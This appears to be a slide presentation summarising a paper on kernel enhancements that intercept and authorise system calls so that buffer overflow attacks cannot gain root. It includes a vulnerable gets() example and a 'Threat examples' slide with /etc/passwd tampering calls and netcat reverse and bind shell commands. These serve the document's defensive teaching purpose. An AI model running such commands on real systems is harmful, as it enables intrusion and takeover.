Operating System enhancements to
prevent misuse of Systems Calls
Dayal Dilli
March 25, 2013
Outline
• Operating System Security Vulnerabilities and concepts
• Buffer overflow exploit
• System Calls and Kernel Data structures misuse.
• Access control Databases, Audit Files and Reference Monitors.
• Performance Evaluation with protection mechanism.
Operating System Security
• Protect system from Executing un authorized code.
– Protect un authorized execution of Kernel Code. e.g. System Call.
– Protect critical memory areas from corruption
Top Operating System Vulnerabilities
• Buffer Overflow attacks
• Denial of Service attacks
• Viruses and Trojans
Buffer overflow
• Buffer is a piece of memory
– Stack e.g. local variable like arrays
– Heap e.g. Dynamically allocated memory
Heap Overflow
main()
{
char *buffer;
buffer=(char *)malloc(10); //Heap
gets(buffer); //buffer more than 10 bytes
puts(buffer);
}
Exploiting Stack Overflow
• Make the content of Buffer[] overflow
• Well-craft the content of Buffer to overwrite RET with the address of attackers malicious code.
• Malicious code includes spawning a root shell using exec, binding it a port using net cat etc..
Example
• Normal Run
– Buffer*+ = ‘ABCDEFGH’ – runs properly – 8 bytes
• Exploit
– Buffer*+ = ‘ABCDEFGHIJKL<address to malicious code>’
– Malicious code contains systems calls like execthat can run a shell.
What happened in the previous slides?
• Critical memory areas got corrupted
• We used exec system call to spawn a shell
• Apart from this, unprotected access to system calls also leads to resource starvation causing Denial of Service attacks.
Prevention of Attacks
• Monitoring of system calls made by the processes.
• Blocking malicious invocation of system call from completion.
• The paper proposes mechanism of interception of system call at Kernel level.
Methodology
• Detect illegal invocation of system calls.
• Reference Monitor the system calls.
• Check the arguments of the system calls.
• Implement a light weight change without much changes to the existing Kernel data structures and algorithms.
Approach
• Key Terms:
– Reference functions
– Authorization functions
– Access control Database
– Access Control Rules
Kernel Enhancements
• Not all System calls are malicious.
• Identify the subset of system calls for monitoring.
• The paper mainly focuses on the prototype implemented to prevent Buffer Overflow based intrusion attacks.
Root Access?
• How to get Root Access on the system?
– Exploit any vulnerability(e.g. buffer overflow) on any of the running root processes.
Categories of Root Process
• Interactive
– Process started by super user. Threat level is nil as user has full control of the process.
• Background
– Daemon programs started at booting, cron jobs.
• e.g. httpd, ftp, mysqld, processes started with ‘&’ in the end.
• Generally, any process with UID and EUID equaling 0.
Threat Level Classification
• System calls in group 1 – 3 comes under Threat Level 1.
• System calls in group 4-9 no so malicious to be misused
Threat examples
• Chmod(“/etc/passwd”, 0666)
Chown(“/etc/passwd”, intruder, intruder_group)
Rename(“/tmp/passwd”,”/etc/passwd”)
• Unlink(“/etc/passwd”)
Link(“/tmp/passwd”,”/etc/passwd”)
• nc <ip> <port> -e /bin/bash
• nc –l –p <port> -e /bin/bash
Implementation
• New Data structures to implement the Access control Database (ACD).
• New System call to read, write and update the ACD and the reference functions.
Authorization and Reference functions
• Checks for root privilege and subsequent access to system calls.
Data Structures:• setuid_acd - contains root passwd• execve_acd
– Struct exe_file_id– Struct executable_file– Struct executable_file_list
sys_setuid_aclm/ aclmng
• System call to read and modify ACD. Acts as the common front end for all methods on ACD.
• Processes with UID and EUID =0 can only access.
• Provides concurrent access between two root process using lock variable write_pid.
Sys_setuid_aclm methods
• PUT(exe_file, suid_prog, list)
• DELETE(exe_file, suid_prog, list)
• GET(exe_file, suid_prog, param)
– Param->file_nr, Param->prog_nr from Param->list
check_rootproc
• Reference function that authenticates the execution of execve by a root process.
– Denial:
• EXENA: process not in ACD or not authenticated
• EFNA: File not authenticated
Examples
• Setuid(0) / su
– Checks password
• Chmod / Chown
– Process: background
– File: any regular file/ directory
– Checks process/ file from ACD along with Password.
Performance
• Only Limited Reduction in Performance
• Reasons:
– Only 10% of the system calls include Access check.
– Only limited number of process execute all check.
– No changes with the user mode process.
– All data structures need for check are in kernel memory.
Related Works and Conclusion
• Linker warning to check dangerous function calls. e.g. gets, strcpy
• Non-executable stack.
• Stackguard in gcc– commercial tool prevents return address modification using canary word.
• Stackshield in gcc- moves return address to un over flow-able location. e.g. beginning of data section.
Top Related